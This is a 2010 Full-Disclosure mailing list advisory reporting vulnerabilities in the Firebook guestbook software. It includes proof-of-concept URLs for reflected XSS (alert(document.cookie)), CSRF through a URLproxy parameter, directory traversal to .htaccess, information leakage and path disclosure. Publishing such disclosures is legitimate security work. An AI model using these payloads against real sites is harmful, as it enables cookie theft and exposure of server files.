Hello Full-Disclosure! I want to warn you about security vulnerabilities in Firebook.
----------------------------- Advisory: Vulnerabilities in Firebook ----------------------------- URL: http://websecurity.com.ua/4124/ ----------------------------- Affected products: all versions of Firebook. ----------------------------- Timeline: 27.09.2009 - found vulnerabilities. 13.04.2010 - announced at my site. 24.05.2010 - informed developers. 17.06.2010 - disclosed at my site. ----------------------------- Details: These are Information Leakage, Cross-Site Request Forgery, Cross-Site Scripting, Directory Traversal and Full path disclosure vulnerabilities. Information Leakage: http://site/path_to_firebook_admin/?URLproxy=http://firebook.ru/env/index.html; CSRF: http://site/path_to_firebook_admin/?URLproxy=http://site; CSRF-attacks on other sites are possible. XSS: http://site/path_to_firebook_admin/?URLproxy=%3Cscript%3Ealert(document.cookie)%3C/script%3E http://site/guestbook/index.html?answer=%3Cscript%3Ealert(document.cookie)%3C/script%3E http://site/guestbook/index.html?answer=guestbook/guest/file.html;page=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E Directory Traversal: http://site/path_to_firebook_admin/?param=1;show=../.htaccess; http://site/guestbook/index.html?answer=guestbook/guest/%2E%2E/index.html Full path disclosure: http://site/path_to_firebook_admin/?param=1;show=param.txt; http://site/guestbook/index.html?answer=guestbook/guest/1 Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
